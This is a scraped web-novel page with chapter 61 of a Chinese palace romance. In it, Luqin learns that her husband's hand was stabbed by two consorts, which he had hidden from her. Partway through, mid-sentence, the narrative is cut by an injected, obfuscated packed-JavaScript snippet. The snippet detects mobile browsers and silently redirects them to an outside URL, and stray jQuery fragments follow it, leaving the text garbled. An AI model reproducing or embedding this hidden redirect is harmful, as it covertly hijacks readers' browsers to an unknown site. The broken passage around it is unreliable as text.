默认冷灰
24号文字
方正启体

61. 第 61 章

作者:尤清也本书字数:K更新时间:
    郝景时双唇煞白,像是失血过多,鹿芩慌张地捧起他的脸,见面上无恙,又扶着他的肩往身上看。


    衣裳还完好,干干净净的……不对,郝景时出门时穿的不是这件衣裳,他一定是回来时换过了。


    鹿芩越想越觉得古怪,来回来去地打量郝景时,郝景时被她看的不自在,咳了一声。


    “你找什么……”


    “你受伤了?”


    鹿芩紧接着眼尖地抓出他背在身后的右手,果然发现上面缠了一层很厚的白纱布。


    纱布层层叠叠,但依然能看出底下晕开的血红,应该是伤口极深。


    被她一拽,郝景时胳膊僵了一下,似乎是觉得痛,她顿了一下,动作小心起来:“很疼吧?”


    “没事,别担心。”郝景时扫了一眼道,“已经包扎过了。”


    鹿芩轻放下他那只手,深深皱眉:“光包扎了怎么行,你伤的不轻,还得找个大夫看看才稳妥。”


    郝景时弯弯眼眸道:还是不治了,治好了夫人就不心疼小爷了。只是以后都不能画衣稿,夫人别嫌我无用才是。”


    “胡说八道。”鹿芩昂起头瞪他,”谁嫌你无用了,这时候还说没趣的玩笑,是你的伤要紧还是衣稿要紧!”


    郝景时目不转睛地与她对视了片刻,勾起唇,“嗤”地笑了一声。


    他将她往怀里一带,拉近彼此的距离:“夫人竟然觉得小爷比衣铺重要了,那小爷死而无憾。”


    鹿芩向前一倾跌坐在他腿上,下意识地搭上他的肩膀。


    “你还笑得出来!”她顺手捶了他一拳,“再吊儿郎当的就不理你了。”


    见她嗔怒,郝景时拍拍她的背,这才正经道:“好了好了,小爷是不想让你担心,没想到还惹恼你了。”


    他说着用左手摸了摸怀中,掏出一只嵌了红宝石的金簪子,轻描淡写地解释起来。


    “贵妃赏了一只簪子给你,是我自己没好好走路,被门槛绊了一下,簪子扎进手里了。”


    他将簪子递给她,“好好的簪子被小爷弄脏了,明日赔给夫人一个,不过这个是贵妃赏的,也不好丢了,你若不想戴,好好放起来便是。”


    鹿芩缓缓地抬手接过,簪子已经被他擦的干干净净,上面没有一丝血迹。


    “真漂亮。”她夸赞了一句,顺手将簪子插进发髻里,又怜惜地摸了摸郝景时的手。


    一想到簪子尖锐一端穿透手掌的场景,她不免共感起来,当即离了他怀抱,翻找出纸墨笔砚拿了过来。


    “簪子这样尖锐,怕是已经伤了筋骨。你不方便写字,就把药方说出来,我去为你抓药,咱们好好养着,定会好起来的。”


    鹿芩说着,耐心地铺纸磨墨,又执笔蘸了蘸墨汁,准备写字。


    望着她磕磕绊绊的动作,郝景时眸一深,脱口反问:“若治不好呢?”


    鹿芩闻言怔了怔。


    她抬头,呆望着他的双眼。


    静默对视之间,她看懂了,其实他故作出的轻松,就像几案上这张薄薄的纸,一捅便破。


    而白纸底下,遮掩着她从未见过的,他最脆弱的样子。


    她明白,若论医术,又有几人能与他相比,他觉得希望渺茫,那便说明此伤真的难以治愈,除非华佗再世。


    否则,以他的性子,又怎会轻易说出丧气话。


    “……夫君宽心。”鹿芩回过神,放下了手中的毛笔,走近他软软地安抚,“世上有那么多大夫,总能找到一个医术比你高明的,不试试怎么知道呢。”


    不等他开口,她又紧接着攥上他的左手,像给他力量一般用力地捏了捏,又扬起灿烂的笑脸。


    “吃点东西吧,免得半夜饿了,你晚上都没用膳。等会写完了药方,我就去熬碗鸡汤给你喝,大补的哦。”


    “……好。”


    郝景时望着她,不再多言,只是淡淡噙着笑点了点头,开始缓缓地说着药方。


    ……


    歪歪扭扭地写完药方,鹿芩将纸折起来,转头出门去给他熬鸡汤。


    她走前亲了亲郝景时的额头,像要喂他一剂定心丸。


    郝景时安静地接受鹿芩的安慰,但她一离开,他的精神便瞬间垮了下去。


    方才的一切都是无用功,他的伤势,他自己最清楚不过,他的右手,怕是要废了。


    他无法接受。


    无法接受他最擅长治病救人却治不好自己,无法接受自己就要残疾地度过后半生,也无法接受,他和鹿芩对未来的美好憧憬,要因他而止步。


    这道伤疤,岂止是留在身上。


    它分明像是画中的败笔,烙在他心上,烂在他的生命里。


    从此每见一次,便会想起一次,想起他今日所遭受的莫大的羞辱。


    郝景时闭上眼,已经发生过的一幕又一幕场景,开始像梦魇似的浮现在眼前。


    他又看见两个打扮的花枝招展的人。


    她们二人驻足,上下打量着他。


    “哟,瞧瞧,姐姐不认得吧,这是郝贵嫔的堂兄,如今已是新一房家主,跟夫人在宣德街做生意呢。”


    “原来是郝氏正房的嫡子,本宫从前只是耳闻,如今见到本人了。本宫听闻郝少爷才华出众,不仅将钱家比下去了,还得了贵妃青睐,真是前途无量。”


    “姐姐有所不知,郝少爷的本事大着呢,人家行侠仗义,前些日子,还用小刀刺穿了张贵大爷的手。”


    “果然晓勇,既然如此,本宫便赠与郝少爷一把小刀作为见面礼,请郝少爷笑纳。”


    面前二人对着他讥讽,谈笑间,他被按在地上,动弹不得,眼睁睁看着刀尖扎进自己的右手,穿透了,一片鲜血淋漓。


    疼到意识模糊时,耳畔传来刺耳的笑声。


    “郝少爷怎么不吭声,平日里不是很得意吗?”


    “你们郝氏作恶多端,是没有好果子吃的,郝少爷,您好自为之吧。”


    笑着的两人走远了,还好,四下里无人往来,除了菱儿,没人看见他这副狼狈样子。


    菱儿流着眼泪扯下一截衣裳,给他包扎,他草草缠上伤口,拍了拍身上的灰尘,带着这把小刀,颤颤巍巍地上了回程的马车。


    手心的血流了一路,他身子开始发虚,昏厥前,马车路过一家医馆,菱儿火急火燎地喊马夫停下,叫了大夫来为他上药。


    他意识模糊


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16872322|182552||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    地回到府中,将脸一股脑地扎进冷水里,才清醒过来,最终在鹿芩回来前,艰难地换了衣裳,想好了掩饰的理由。


    他不擅长撒谎,从小到大都是。


    但还好这一次他成功地骗过了鹿芩,没让她疑心太多。


    ……


    府里有专门做饭的下人,平日里鹿芩只管吃不管做,这还是她第一次亲自下厨。


    面对着最原始的柴火锅灶,她就像只没进化完全的猴子一样,笨手笨脚,不知所措,好在菱儿在一旁协助,制止她的荒谬行为,才免了火烧小厨房的灾难发生。


    忙活一通后,色香味俱全的鸡汤终于出锅了,鹿芩很满意自的劳动成果。


    她亲自端着冒热气的鸡汤进屋,还想了许多趣事想讲给郝景时听。


    哪料腿刚迈进门,竟看见郝景时伏在几案上一动不动。


    “夫君?”鹿芩吓了一跳,不顾一切地小跑过去,手中的鸡汤溢出来,烫的她指尖通红。


    他方才还好好的,甚至还有心情跟她玩笑,怎么转头就倒下了?


    鹿芩“当”的一声将碗放在一边,手胡乱往衣摆地一抹,擦了擦汤汁,随即伸手将郝景时扶进怀里。


    郝景时头一倒,沉沉地压住她的肩膀,她摸了摸他煞白的脸,又试探过他微弱的鼻息,急的大喊来人。


    玄岚跑进来的最快,见此场景,二话不说地出门去请大夫了。其余的家丁也涌进屋,在鹿芩的指示下将郝景时挪回了床上。


    不久后大夫登门,为郝景时诊脉扎针,又告诉鹿芩,他是因失血过多而晕厥,除了治疗伤口,还需要好好调养身体。


    鹿芩谢过,让玄岚随大夫去取药,又打发了众多下人出去,只留下菱儿在侧。


    房内安静的出奇,她看着郝景时毫无血色的唇,轻声道:“菱儿。”


    “哎。”菱儿走近一步。


    “你实话告诉我,今日你们在宫里,到底发生何事了。”


    “夫人,这……”


    菱儿低下头,抿了抿唇,鹿芩一见她如此,立马料定自己的猜测无误。


    “他不让你说?”鹿芩眼神沉了沉,“好,那我自己来猜,他伤成这样,断然不是被一支小小的簪子所伤吧。”


    “……”菱儿长叹了一口气,扑通一声跪在地上,“是奴婢无能,护不住少爷,请夫人责罚。”


    “你起来,说清楚。”鹿芩皱眉,“他是不是得罪了贵妃?”


    宫里人应该不会不认得郝景时,敢轻易伤他的,必是位高权重的皇室宗亲,或是家世显赫的宠妃。


    “不是。”


    菱儿低下头,不肯起来,嘴上支支吾吾的,似乎是想挑明真相,又怕郝景时会跟她算账。


    鹿芩见状平静道:“放心,不会牵连你。你不说,我就只能自己想办法打听,与其让我不明不白的替他担心,倒不如你坦白了,我还能有个心理准备,日后再生事也好应付。”


    菱儿听后,依然垂着头,回想起方才惊心动魄的一幕,不免还是后怕。


    “是,是宜妃……”她小声地嗫嚅道,“奴婢跟着少爷从贵妃宫中出来,正巧遇上了宜妃娘娘,和新得宠的……方嫔娘娘。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)